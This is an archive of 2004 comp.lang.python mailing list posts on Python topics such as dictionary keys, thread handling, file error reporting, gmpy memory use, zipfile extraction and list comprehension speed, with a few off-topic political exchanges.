>> b = [1, 2, 3] >> if a == b: >> print "List equality is based on content" > >Tuple (and string) equality is based on content too. So what? I can >give my data class an __eq__ method, and then my class instance equality >would also based on content. > >So, to restate my original question, why should my mutable, >content-based-eqality class instance be a valid dictionary key, when a >list is not? Which part of a list's behavior makes it inherently >unusable as a key? I'm not asking about design philosophy, I'm asking >about observable behavior. I don't think a list is _inherently_ unusable, but an immutable sequence is usable in a different way because of what can be assumed. I suspect it has something to do with optimizing lookup. For immutables, equal id should mean equal hash and equal value. If id's are not equal, hashes only need to be computed once for an immutable, since they can be cached in the immutables's internal representation (trading a little space for computation time). If hashes are equal but id's are not, you either have duplicate tuples/immutables or a rare collision. If you are forced to compare values in the rare-collision case, I guess you are down to comparing vectors of pointers, and comparison would then be similar for tuples and lists. Different lengths would be early out non-equal. Etc. It does seem like you could allow lists as keys, but it would mean a performance hit when using them, even if you managed to get type-dependent dispatching in the internal logic for free. You could still cache a list hash internally, but you would have to invalidate it on list mutation, which would add cost to mutation. Optimization tradeoffs ripple in surprising ways, and only pay off if they are good in real usage patterns. Not easy to get right. As it is, you could take a big hit and subclass dict to fake it, or you could sublass list to provide tuple-like hashing and comparing ;-) Regards, Bengt Richter From cpl.19.ghum at spamgourmet.com Tue Sep 28 17:56:44 2004 From: cpl.19.ghum at spamgourmet.com (Harald Massa) Date: Tue, 28 Sep 2004 21:56:44 +0000 (UTC) Subject: repeat something in a thread, but stop when the program stops References: <5db4fffa.0409270551.57a96cda@posting.google.com> <mailman.3969.1096301203.5135.python-list@python.org> <Xns95725B68F8800cpl19ghumspamgourmet@195.20.224.116> <6t1jl0here469htp3ss8un3o1m4fu2645m@4ax.com> Message-ID: <Xns9572F3A0FD0F5cpl19ghumspamgourmet@195.20.224.116> Dennis, >> see my tasktray collecting more and more icons of programs which just >> do a very tiny amount of work every half a second, and ... as them >> getting many, the computer begins to feel more sluggish. > Is this under Windows? > I've never seen Python threads creating icons. For sure you have not. It is quite some work to create task-tray icons using python. A simple thread hopefully will never do that. The problem is not that severe than you seem to have got the impression from my talks. I just am very housewifely about computer ressources. And the programms in the systray are different programs, most not in Python. Just used that as an explanation, WHY I am looking at "cycles that get wasted waiting for nothing" Harald From timothy.grant at gmail.com Tue Sep 28 12:31:04 2004 From: timothy.grant at gmail.com (Timothy Grant) Date: Tue, 28 Sep 2004 09:31:04 -0700 Subject: Using python to convert PDF document to MSWord documents In-Reply-To: <20040928161317.88987.qmail@web8401.mail.in.yahoo.com> References: <20040928161317.88987.qmail@web8401.mail.in.yahoo.com> Message-ID: <e775286d040928093168f0f87f@mail.gmail.com> ----- Original Message ----- From: JEET <hjeet_in at yahoo.com> Date: Tue, 28 Sep 2004 17:13:17 +0100 (BST) Subject: Using python to convert PDF document to MSWord documents To: python-list at python.org Hello All, Can anyone please suggest me if there any python modules available to convert PDF document to MSWord documents. If not then can you please suggest how can i acheive this. Many thanks in advance, Regards Deb ====== What you ask is quite difficult. My understanding is that PDF files are simply Postscript files with some special wrapping. Depending on the nature of the PDF (is it encrypted, are there other special provisions?) you may be able to strip the raw text from the file and create and RTF file from it. However you will lose all formatting in this case. If the formatting is "standard" across all the PDFs you may be able to infer from the text something that will allow you to replace some or all of it. -- Stand Fast, tjg. From abra9823 at mail.usyd.edu.au Fri Sep 17 11:05:16 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Sat, 18 Sep 2004 01:05:16 +1000 Subject: gui - wait for dialog to close In-Reply-To: <m3fz5hymj7.fsf@g2ctech.com> References: <mailman.3442.1095420495.5135.python-list@python.org> <m3fz5hymj7.fsf@g2ctech.com> Message-ID: <1095433515.414afd2c01a92@www-mail.usyd.edu.au> hi! i am using Tkinter cheers Quoting Jorge Godoy <godoy at ieee.org>: > Ajay <abra9823 at mail.usyd.edu.au> writes: > > > hi! > > > > i have an application which requires a username > > what i am trying to do is when the application runs, a dialog window > > appears which prompts the user for his name. once thats entered, the > > dialog box is destroyed, the username stored and the application gui > is > > drawn > > > > i tried doing this by adding a wait_window call in my application > GUI's > > init. > > the idea was to suspend execution till the username is entered and the > > dialog box destroyed before continuing. > > > > that didn't work > > how can i do this? i have the option of creating the dialog box and > when > > the username is entered then in the function that handles the > username, > > create the rest of the GUI. i was wondering if there is any other way > > Which of the several toolkits are you using? In wxPython you can use > one of the provided dialogs or create a new modal dialog... > > -- > Godoy. <godoy at ieee.org> > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From aleaxit at yahoo.com Wed Sep 29 09:50:47 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 29 Sep 2004 15:50:47 +0200 Subject: all pairs of items in a list without indexing? References: <mailman.4028.1096403649.5135.python-list@python.org> <UZk6d.170834$3l3.71882@attbi_s03> <20040928220043.GB11275@unpythonic.net> <mailman.4039.1096409369.5135.python-list@python.org> Message-ID: <1gkvoks.1r0h9pxvanm4vN%aleaxit@yahoo.com> Steven Bethard <steven.bethard at gmail.com> wrote: > <jepler <at> unpythonic.net> writes: > > def all_pairs(L): > > while L: > > i = L.pop() > > for j in L: yield i, j > > Interesting. I hadn't thought of this one -- it's not bad other than > requiring the list copy (since I need to maintain the original list). If you start with an L=list(L), you can also optionally L.reverse() to play with the ordering (if significant, issue still not clarified). Ordering apart, performance is still not quite as good as with the slicing you consider wasteful, in my measurements. Remember with the slicing we got about 1.42e+05 microseconds -- with this approach we see: kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' -s' def alp(L): L = list(L) while L: it1 = L.pop() for it2 in L: yield it1, it2 ' 'list(alp(l))' 10 loops, best of 3: 1.51e+05 usec per loop Alex From jmfbahciv at aol.com Tue Sep 14 06:21:04 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Tue, 14 Sep 04 10:21:04 GMT Subject: Xah Lee's Unixism References: <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <41431db5$0$6923$61fed72c@news.rcn.com> <vqgbk05ikqc0f95pnuk0i116e9vatrrdnj@4ax.com> Message-ID: <4146d959$0$2665$61fed72c@news.rcn.com> In article <vqgbk05ikqc0f95pnuk0i116e9vatrrdnj at 4ax.com>, Alan Balmer <albalmer at att.net> wrote: >On Sat, 11 Sep 04 14:24:09 GMT, jmfbahciv at aol.com wrote: > >> Now Congress is shifting towards giving them >>more leeway. I sure as hell hope they remember Hoover and his >>abuses of power before they suggest putting one guy over it all. > >The suggestion has already been made, and President Bush is apparently >going along with it, but refusing to give the position the unlimited >power its proponents want. This gives the disloyal opposition grounds >to claim he's not really serious about terrorism. Reporting this has been terrible in this corner of the map. I also had understood that somebody was insisting that the position be outside the cabinet. I don't like this because it will ensure a long-term head who will gradually get corrupt as Hooever did. I also understand that making this a cabinet position will "politicize" it but there isn't as much chance for having 100% corruption. I also need a lesson on policizing. Can't have a head of the CIA be an ex-Congresscritter because that would politicize the department. But the CIA has been hogtied with politicizations since Nixon. /BAH Subtract a hundred and four for e-mail. From oliphant at ee.byu.edu Mon Sep 13 13:21:23 2004 From: oliphant at ee.byu.edu (Travis E. Oliphant) Date: Mon, 13 Sep 2004 11:21:23 -0600 Subject: Conference presentations Message-ID: <4145D713.4080009@ee.byu.edu> Hi all, The SciPy 2004 conference was a great success. I personally enjoyed seeing all attendees and finding out about the activity that has been occurring with Python and Science. As promised, all of the presentations that were submitted to abstracts at scipy.org are now available on-line under the conference-schedule page. The link is http://www.scipy.org/wikis/scipy04/ConferenceSchedule If anyone who hasn't submitted their presentation would like to, you still can. As I was only able to attend the first day, I cannot comment on the entire conference. However, what I saw was very encouraging. There continues to be a great amount of work being done in using Python for Scientific Computing and the remaining problems seems to be how to get the word out and increase the user base. Many thanks are due to the presenters and the conference sponsors: *The National Biomedical Computation Resource* <http://nbcr.sdsc.edu> (NBCR, UCSD, San Diego, CA) The mission of the National Biomedical Computation Resource at the University of California San Diego and partners at The Scripps Research Institute and Washington University is to conduct, catalyze, and advance biomedical research by harnessing, developing and deploying forefront computational, information, and grid technologies. NBCR is supported by _National Institutes of Health (NIH) _ through a _National Center for Research Resources_ centers grant (P 41 RR08605). *The Center for Advanced Computing Research* <http://www.cacr.caltech.edu/> (CACR, CalTech <http://www.scipy.org/wikis/scipy04/CalTech>, Pasadena, CA) CACR is dedicated to the pursuit of excellence in the field of high-performance computing, communication, and data engineering. Major activities include carrying out large-scale scientific and engineering applications on parallel supercomputers and coordinating collaborative research projects on high-speed network technologies, distributed computing and database methodologies, and related topics. Our goal is to help further the state of the art in scientific computing. *Enthought, Inc.* <http://www.enthought.com> (Austin, TX) Enthought, Inc. provides business and scientific computing solutions through software development, consulting and training. Best regards to all, -Travis Oliphant Brigham Young University 459 CB Provo, UT 84602 oliphant.travis at ieee.org From steve at holdenweb.com Thu Sep 30 19:23:12 2004 From: steve at holdenweb.com (Steve Holden) Date: Thu, 30 Sep 2004 19:23:12 -0400 Subject: File handling: The easy and the hard way In-Reply-To: <mailman.4141.1096557347.5135.python-list@python.org> References: <pan.2004.09.30.13.56.48.18412@web.de> <mailman.4141.1096557347.5135.python-list@python.org> Message-ID: <wD07d.1810$gk.15@okepread01> Jeremy Jones wrote: > Hans-Joachim Widmaier wrote: > [...] > >> Especially not when the error is not in the program itself, but rather >> just a mistyped filename. (Most of my helper scripts that we use to >> develop software handle files this way. And even my co-workers don't >> recognize 'file or directory not found' for what it is.) End users are >> entitled to error messages they can easily understand like "I could not >> open 'blaah' because there is no such file". > > So, you're saying that dumping a raw traceback like: > IOError: [Errno 2] No such file or directory: '/foo/bar/bam' > to a logfile is a no-no? Instead, it should say: > > I'm sorry sir, but an error occurred when trying to write to file > /foo/bar/bam because it wasn't there. > A traceback is not an error message. When a non-programming user sees a fifteen-line stack trace with python statements and line numbers in it that's quite enough to stop most of them from even reading it to see if there's anything they understand at all. > I think the traceback is perfectly understandable. I think that even an > end-user would be able to comprehend that type of message. Or, if you > get an IOError, is this not sufficient: > IOError: [Errno 28] No space left on device > ? > Again, that's not a traceback. It's an error message. > Chances are, end users aren't going to be particulary concerned with > exceptions you log - unless they've got a problem that they can't figure > out. And if they've got a problem they can't figure out, you'd be > better off giving them as much information as you can give them, or > they'll come to you for help. And when they do come to you for help, > you'd better make sure you've given yourself the most informatino you > can to solve the problem. So logging a traceback is a great idea IMHO. > Now, in areas where you're dead sure that an exception is nothing to be > concerned with, don't bother. So, a good approach may be: handle the > specific exceptions that you know may occur, let other unexpected (or > expected in worst case scenarios) exceptions filter up to a higher > level, log them there, and if need be, terminate program execution. > This isn't about not terminating the program, it's about reporting the reasons in a manner acceptable to average users. >> Graceful error handling is >> even more important when a program isn't just run on a command line but >> with a GUI. >> >> > Maybe so. But if you hit an "Oh, crap, what do I do now?" exception, > you may want to throw up a dialog box with a traceback or something and > when the user clicks OK on it, terminate program execution. That gives > them a chance to (unlikely) figure out what they can do to remedy the > situation, otherwise call for help. > I'm all for LOGGING tracebacks. Indeed WingIDE is a beauty in this respect, since it's also prepared to send feedback to Wing if you ask it to, as is Mozilla and (nowadays) Internet Explorer. Given this, there's little excuse for showing the traceback in the regular case, though I don't object to allowing users to look for it if they want. >> Which means? Which means that all this convenient file handling that >> Python offers really should not be used in programs you give away. When I >> asked for a canonical file access pattern some months ago, this was the >> result: >> http://groups.google.com/groups?hl=de&lr=&ie=UTF-8&threadm=pan.2003.12.30.21.32.37.195763%40web.de&rnum=1&prev=/groups%3Fhl%3Dde%26lr%3D%26ie%3DUTF-8%26q%3Dfile%2Bpattern%2Bcanonical%26btnG%3DSuche%26meta%3D >> >> >> Now I have some programs that read and write several files at once. And >> the reading and writing is done all over the place. If I really wanted to >> do it "right", my once clear and readily understandable code turns into a >> nightmare. This doesn't look like the language I love for its clarity and >> expressivness any more. Python, being a very high level language, needs a >> higher level file type, IMHO. This is, of course, much easier said than >> done. And renown dimwits like me aren't expected to come up with >> solutions. >> I've thought about subclassing file, but to me it looks like it wouldn't >> help much. With all this try/except framing you need to insert a call >> level anyway (wondering if this new decorator stuff might help?). The >> best >> I've come up so far is a vague idea for an error callback (if there isn't >> one, the well known exceptions might be raised) that gets called for >> whatever error occured, like: >> >> class File: >> ... >> def write(self, data): >> while True: >> try: >> self._write(data) >> except IOError, e: >> if self.errorcallback: >> ret, dat = self.errorcallback(self, F_WRITE, e, data) >> if ret == F_RETURN: >> return dat >> else: >> raise >> >> The callback could then write a nice error message, abort the program, >> maybe retry the operation (that's what the 'while True'-loop is for) or >> return whatever value to the original caller. Although the callback >> function will usually be more than a few lines, it can be reused. It can >> even be packed into your own file-error-handling module, something the >> original usage pattern can't. >> >> > Hmmm....interesting. Shouldn't you put a break after your > self._write(data)? This is probably not a bad way of going about > things, but what types of files are we talking about here? Log files? > I think you're probably better off using the builtin logging and just > dump raw tracebacks in there. Data files? Then you've probaby got that > wrapped in code to write formatted data to the data file anyway in which > case, this type of specialized class is probably not a bad thing. If > you're trying to write data to a data file, you don't want litter it > with error messages. You want to log it and, maybe even unlink the data > file and do something special. > >> If you still bear with me, you might as well sacrifice a few more seconds >> and tell me what you think about my rant. Is everything just fine as >> it is >> now? Or do I have a point? I always felt it most important to handle all >> errors a program may encounter gracefully, and the easier this is to do, >> the less likely it is a programmer will just sneak around the issue and >> let the interpreter/run time system/operating system handle it. (And yes, >> I'm guilty of not obeying it myself, as it can double or triple the time >> needed to write the whole program; just because its so cumbersome.) >> >> >> > I dunno - something just doesn't feel right here. I kinda feel like > you're wanting to create an over-generalized solution. Your File class > is interesting and may be a good start for a lot of general solutions > and having a callback mechanism helps specialize it, but....something > just doesn't sit totally right here with me. This may work totally > perfectly and may be an excellent piece of code to handle all of your > file writing activities. I dunno.... > > You're not going to be able to catch every exception - not meaningfully, > anyway. You could do something like: > > if __name__ == "__main__": > try: > main() > except Exception, e: > log(e) > > But that isn't handling all errors.... > It's certainly catching all subclasses of Exception, though, which in modern Python should be everything not handled inside (string exceptions are a throwback, retained for compatibility reasons). As to whether they are bing "handled", I guess that's a matter of opinion. > Production quality code doesn't necessarily mean never terminating > because of an exception. You want to reduce the frequency of program > termination due to exceptions. I can appreciate your desire to make > sure you've got good solid software, and not encumber the end user with > ever little exception you hit, but sometimes it's OK to log/show > exceptions. Like I said earlier, when you hit an exception, you hit it > for a reason. Do your best to try to figure out what that reason is, > deal with it, figure out the most reasonable thing to do with _that_ > exception, and move on. Sometimes that'll mean throwing a traceback to > a log file, sometimes it will mean handling it gracefully and "prettying > up" the message for logging or display to the end user, sometimes it > will mean totally ignoring it, other times you may need to just stop the > program. All of these resolutions can be part of a production quality > piece of software. The discerning programmer has to decide which > solution is appropriate for which situation. Like Steve Holden > mentioned, it's really good that you're concerned with such things, but > make sure you apply common sense to each scenario. > >> Waiting-for-you-to-jump-on-me'ly yours, >> Hans-Joachim >> >> > Hope I didn't jump too hard. > Possibly. > Jeremy Jones regards Steve From aleaxit at yahoo.com Mon Sep 6 03:24:03 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 09:24:03 +0200 Subject: Lager'd Statistics on language migration References: <2ae25c6b.0409050132.4ce24330@posting.google.com> Message-ID: <1gjoo62.k6qgc44zbkjgN%aleaxit@yahoo.com> Paddy McCarthy <paddy3118 at netscape.net> wrote: > Frustrated at being prevented from using Python at work I went > gunning for Perl. > > Time to roll out some useless Google statistics to make me feel > better > > Google Phrase count > ------------- ----- > "prefer perl to python" 26 > "prefers perl to python" 0 > "python to perl migration" 0 > == == > Perl over Python Total: 26 > > "prefer python to perl" 51 > "prefers python to perl" 154 > "perl to python migration" 785 > == === > Python over Perl Total: 980 > > These statistics have meaning. (It took my mind off this can > of UK Amstel for a start). Cool! So, I double checked: "prefer python to ruby" 21 "prefers python to ruby" 0 "ruby to python migration" 0 "prefer ruby to python" 260 "prefers ruby to python" 0 "python to ruby migration" 0 Judging on the "prefer" only, Ruby > Python > Perl. Check: "prefer ruby to perl" 5 "prefer perl to ruby" 0 Still OK, I guess. So, my working hypothesis would be: people tend to post about preferring a newer / less widespread language over an older / more widespread one, more frequently than they post about the reverse preference. Why people compare Python with either Ruby or Perl MUCH more often than Perl and Ruby with each other, I dunno... Alex From mensanator at aol.com Wed Sep 1 13:00:40 2004 From: mensanator at aol.com (mensanator at aol.com) Date: 1 Sep 2004 10:00:40 -0700 Subject: about presicion In-Reply-To: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> Message-ID: <ch4v7o$p7h@odak26.prod.google.com> Alex Martelli wrote: > mensanator at aol.com <mensanator at aol.com> wrote: > > > > > Were you aware that there is apparently a memory leak in the > > > > gmpy.divm() function? Calling it several million time caused my > > > > computer to run out of virtual memeory. Luckily, I was able to > > > > work around it using the gmpy.invert() which didn't consume any > > > > memory regardless of how many times it was called. > > > > > > No, I was not aware of that -- I'll look into it, thanks. > > I'm still not aware of any bug in gmpy because I can't reproduce your > observation (on MacOSX 10.3.5, Python 2.3). Try this script...: > > import gmpy > > tot = 0 > while True: > n = input('How many more divm: ') > if n<=0: break > print '%d more...' % n, > for i in xrange(n): gmpy.divm(3,7,9) > tot += n > print '...total %d' % tot > > I've used it to perform millions of divm calls and I monitor its virtual > memory usage from the outside, and absolutely no leak shows up. Maybe > it's in the Windows version of the underlying GMP library...? Can any > other gmpy user try this out and report...? Thanks! > > > Alex I tracked your program with Windows task manager and it show a nice flat memory useage trace. Memory usage started at 185244K and peaked at 185366K for 10000000 iterations. Try using larger numbers: import gmpy tot = 0 while True: n = input('How many more divm: ') if n<=0: break print '%d more...' % n, for i in xrange(n): gmpy.divm(81287570543,8589934592,3486784401) tot += n print '...total %d' % tot """ memory usage trace rocketed upwards at a 45 degree angle. C:\Python23\user\the_full_monty>python gmpytest.py How many more divm: 10000000 10000000 more...Fatal Python error: mp_allocate failure abnormal program termination peak Commit Charge (K): 792556 """ From kaba at epost.de Wed Sep 29 15:16:13 2004 From: kaba at epost.de (kaba) Date: Wed, 29 Sep 2004 21:16:13 +0200 Subject: emacs python-mode bug #1021885 In-Reply-To: <cj8ggc$ihq$1@rzcomm2.rz.tu-bs.de> References: <cj8ggc$ihq$1@rzcomm2.rz.tu-bs.de> Message-ID: <cjf1lj$f66$1@lucy.ping.de> Marcio Rosa da Silva wrote: > Hi! > > I am having some problem with python-emacs mode. I found a bug related > to it at sf.net: > > bug #1021885 shell gets set to 'cpython': > > http://sourceforge.net/tracker/?group_id=86916&atid=581349&func=detail&aid=1021885 > > > The problem is that when I try to run the script using C-c C-c, I get > the following message: > > "Wrong type argument: sequencep, cpython" > > My question is if there is anyone that found a workaround to this problem? > > Thanks! > > Marcio Hi Marcio, the bug is in 'py-execute-region' the patch below should fix it. *************** *** 1679,1686 **** (insert-buffer-substring cur start end) ;; Set the shell either to the #! line command, or to the ;; py-which-shell buffer local variable. ! (setq shell (or (py-choose-shell-by-shebang) ! (py-choose-shell-by-import) py-which-shell)))) (cond ;; always run the code in its own asynchronous subprocess --- 1679,1686 ---- (insert-buffer-substring cur start end) ;; Set the shell either to the #! line command, or to the ;; py-which-shell buffer local variable. ! (setq shell (or (car (rassoc (quote (py-choose-shell-by-shebang)) py-shell-alist)) ! (car (rassoc (quote (py-choose-shell-by-import)) py-shell-alist)) py-which-shell)))) (cond ;; always run the code in its own asynchronous subprocess From reinhold-birkenfeld-nospam at wolke7.net Sat Sep 18 11:13:43 2004 From: reinhold-birkenfeld-nospam at wolke7.net (Reinhold Birkenfeld) Date: Sat, 18 Sep 2004 17:13:43 +0200 Subject: sys.setdefaultencoding(name) In-Reply-To: <Xns9568A73F4BFF9cpl19ghumspamgourmet@195.20.224.116> References: <Xns9568641F5C869askariaddressNonVali@207.35.177.135> <Xns9568A73F4BFF9cpl19ghumspamgourmet@195.20.224.116> Message-ID: <2r31l7F15anc9U2@uni-berlin.de> Harald Massa wrote: > Askari, > >> When I use the method ".get" from a widget (Text, Entry), the string >> returned is "fucked"... > > That must be a virus or something. Encoding issues normally provide garbled > strings, but not the word "fucked". Somebody is playing jokes with you. I doubt that the quotes in the OP indicate a literal string. Reinhold -- [Windows ist wie] die Bahn: Man muss sich um nichts kuemmern, zahlt fuer jede Kleinigkeit einen Aufpreis, der Service ist mies, Fremde koennen jederzeit einsteigen, es ist unflexibel und zu allen anderen Verkehrs- mitteln inkompatibel. -- Florian Diesch in dcoulm From claird at lairds.us Thu Sep 23 11:08:06 2004 From: claird at lairds.us (Cameron Laird) Date: Thu, 23 Sep 2004 15:08:06 GMT Subject: Concurrency models and implementation concerns (was: socket function that loops AND returns something) References: <ciatjj$olo$1@solaris.cc.vt.edu> <tpc2d.16169$QJ3.2672@newssvr21.news.prodigy.com> <k29o12-46u.ln1@lairds.us> <C9j2d.16227$QJ3.9153@newssvr21.news.prodigy.com> Message-ID: <os3b22-3lj.ln1@lairds.us> In article <C9j2d.16227$QJ3.9153 at newssvr21.news.prodigy.com>, Bryan Olson <fakeaddress at nowhere.org> wrote: . . . > > Do you intend that readers believe that it "is perfectly > > reasonable" to design in terms of a single Python process > > which manages up to "a thousand simultaneous *Python* > > threads"? > >Yes. Thank you for this and your other unambiguous clarifications. My daily world includes several Win* boxes running on 100-200 MHz *86 processors, with memory ranging from 32 Mb up. Perhaps I should make time during the next month to write and run a few benchmarks applicable to my needs; I confess I haven't done so for the case of a thousand simultaneous Python threads. . . . From tjreedy at udel.edu Mon Sep 20 23:00:40 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 20 Sep 2004 23:00:40 -0400 Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org><m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de><m3isaf1xki.fsf@g2ctech.com><1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com><m3pt4nwa84.fsf@g2ctech.com><1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com><mailman.3388.1095291463.5135.python-list@python.org><1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com><IWf2d.33080$D7.2368@news-server.bigpond.net.au><1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com><cicm3q$a6g$1@sea.gmane.org> <1095378815.31957.166.camel@devilbox.devilnet.internal> Message-ID: <cio5gu$2nk$1@sea.gmane.org> "Cliff Wells" <clifford.wells at comcast.net> wrote in message news:1095378815.31957.166.camel at devilbox.devilnet.internal... > On Thu, 2004-09-16 at 14:30 -0400, Terry Reedy wrote: >> "Alex Martelli" <aleaxit at yahoo.com> wrote in message >> > So I was wrong -- it's happening all right, but tends to be disguised >> > (perhaps for marketing reasons). Thanks for the info! >> >> Also for political reasons. The US has reactionaries, left and right, >> who >> reject the idea that all people have a right to participate in the >> global >> information economy. I intentionally restricted myself to one sentence, with one opinion word -- 'reactionaries', on a topic people have written books about. However ... > The main problem a lot of people (myself included) have with the so- > called "global economy" To me, the global information economy is as real as the global Python community. > is that it mostly benefits the US employer who > can pay wages that are far below cost of living inside the US. To the extent that all US employers producing similar products have equal access to such cost savings, the long-term competitive benefit should tend toward zero and most benefit should go to consumers and non-US workers. It was Indian software entrepreneurs who pursued US businesspeople more than the reverse. > I'm certain there are few people who begrudge others getting work, I did not try to quantify in my original statement. However, it takes more than a few people to get myriads of job protection laws passed in countries around the globe. Dislike of competition for 'my job' is pretty universal. [snip] > let's ...have laws that require employers to pay prevailing wage The prototype 'prevailing wage' law in the US, the 1930s Davis-Bacon Act, was passed and signed by begruding people. It had the explicit purpose (and effect) of excluding dark-skinned Americans from participating in the American construction industry, especially in northern states, by making it unprofitable to hire them. Its negative effects continue today. > (based on the *employer's* country of origin). Programmers in developing countries generally are employed by local employers who pay them more than the previous local prevailing wage. In terms of real economic goods -- food, clothing, housing, internet service, and so on -- their pay may be comparable to that of programmers in the 'industrial' nations. Their apparent cheapness per comparable output is largely a function of exchange rates at least partly distorted by centuries of government force. I expect such distortions will lessen as communication makes them less tenable. I also expect increasing numbers of US knowledge/information workers with portable skills to take advantage of the distortions while they last. Terry J. Reedy From aisaac at american.edu Thu Sep 23 16:27:32 2004 From: aisaac at american.edu (Alan G Isaac) Date: Thu, 23 Sep 2004 16:27:32 -0400 Subject: decompress zipped files on Windows Message-ID: <10l6ca6lb99pmde@corp.supernews.com> I have an .zip archive of compressed files that I want to decompress. Using the zipfile module, I tried z=zipfile.ZipFile(local.zip) for zname in z.namelist(): localtxtfile='c:/puthere/'+zname f=open(localtxtfile,'w') f.write(z.read(zname)) f.close The original files were all plain text, created on an unspecified platform. The files I decompressed this way contain *two successive* carriage returns (ASCII 13) at the end of each line. If I change 'w' to 'wb' I get only one. Why is this extra carriage return added? My original guess was the using 'w' instead of 'wb' would be the right action, since the platform for the original files is unspecified. Thanks, Alan Isaac From jmfbahciv at aol.com Wed Sep 1 08:07:35 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Wed, 01 Sep 04 12:07:35 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134a207$0$65568$a1866201@newsreader.visi.com> <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> Message-ID: <4135ce4a$0$19726$61fed72c@news.rcn.com> In article <j-OdnS-Q8aADqKjcRVn-tQ at speakeasy.net>, rpw3 at rpw3.org (Rob Warnock) wrote: >Craig A. Finseth <news at finseth.com> wrote: >+--------------- >| Ville Vainio <ville at spammers.com> wrote: >| >... and / as path separator still screws up most of their cmd line >| >programs (which think / is for command line options). >| >Microsoft probably thought avoiding compatibility is a good idea, and >| >have only lately started to have some regrets... >| >| Wrong. The / was chosen as the command line option separator because >| whoever wrote MSDOS was looking to CP/M, who modelled their commands >| after a PDP-11 operating system (RT-11?). >+--------------- > >Which, like PS/8 & OS-8 [and "DECsystem-8" from Geordia Tech] for the >PDP-8, modelled the command syntax after that of the venerable PDP-10!! You'ld probably get further about who's on first by knowing that the guy who did OS-8 also did TOPS-10 monitor work. It was not unusual for one guy to work on all architectures within DEC. If he liked to use TECO, he'd carry it over to the next project and write it up in that computer's machine language. An even easier way to transfer functionality back then was to use a cross-assembler. For instance, I'd enter a programmer's PDP-11 code and put it into a file on the TOPS-10 system. Then after a fast assembler check with the cross-assembler of the coder's choice, I would either punch the ASCII out of papertape or run FILEX which would transfer the PDP-10 bits onto the DECtape in PDP-11 format. That's how code migrated in the olden days. > >+--------------- >| Consider the "PIP" command. >+--------------- > >Indeed. And COPY & DEL & DIR, etc. Well, not quite :-). COPY and DELETE called PIP via a CCL command. DIRECT became its own program. To do a directory using PIP required a switch and wasn't a monitor level command. /BAH Subtract a hundred and four for e-mail. From aleaxit at yahoo.com Thu Sep 30 04:48:37 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 30 Sep 2004 10:48:37 +0200 Subject: List comprehensions performance References: <278de0e.0409291441.4ef0a859@posting.google.com> Message-ID: <1gkx9f9.15ckambh0kc5tN%aleaxit@yahoo.com> Neuruss <luismg at gmx.net> wrote: ... > What I'd like to know is if using list comprehensions would give me a > performance advantage over traditional for loops or not. Probably, a little, depending on the exact Python release you're using, and on exactly what you're doing -- as others have suggested, timeit.py can help. Don't expect _dramatic_ differences. > I'm getting fond of list comprehensions, but I wonder if it's wise to > abuse of them... No, by definition of "abuse". Use list comprehensions to make lists, not instead of perfectly normal loops. Consider for example: kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' 'for x in xrange(999): f()' 1000 loops, best of 3: 1.25e+03 usec per loop kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' 'for x in xrange(999): f()' 1000 loops, best of 3: 1.29e+03 usec per loop kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' '[f() for x in xrange(999)]' 1000 loops, best of 3: 1.45e+03 usec per loop kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' '[f() for x in xrange(999)]' 1000 loops, best of 3: 1.44e+03 usec per loop So, in this case, abusing list comprehensions slows you down by over 10%. More generally, _who cares_ about this kind of speedups?! Premature optimization is the root of all evil in programming. Make your programs clear, simple, readable -- that's ALWAYS important! So is using general algorithms and data structures with good O() characteristics if the input size is liable to grow a lot. But squeezing out 10% or 20% here or there is going to matter in a TINY minority of cases. Don't distort your coding for such purposes! Alex From steve at ferg.org Wed Sep 1 08:32:18 2004 From: steve at ferg.org (Stephen Ferg) Date: 1 Sep 2004 05:32:18 -0700 Subject: GUI Designer References: <wU0Zc.9845$7i2.529166@news20.bellglobal.com> Message-ID: <b16e4ef7.0409010432.5fc2b8b1@posting.google.com> Look at PythonCard http://pythoncard.sourceforge.net/ From rnd at onego.ru Fri Sep 10 02:01:49 2004 From: rnd at onego.ru (Roman Suzi) Date: Fri, 10 Sep 2004 10:01:49 +0400 (MSD) Subject: Is it an error in email.Header? In-Reply-To: <Pine.LNX.4.58.0409091423220.3599@suzi.com.onego.ru> References: <Pine.LNX.4.58.0409091423220.3599@suzi.com.onego.ru> Message-ID: <Pine.LNX.4.58.0409101000530.3599@suzi.com.onego.ru> It seems that nEy8k?= =?koi8-r?B??= ^ '=' is missing. But is it necessary? MUAs live without it fine... Sincerely yours, Roman A.Suzi -- - Petrozavodsk - 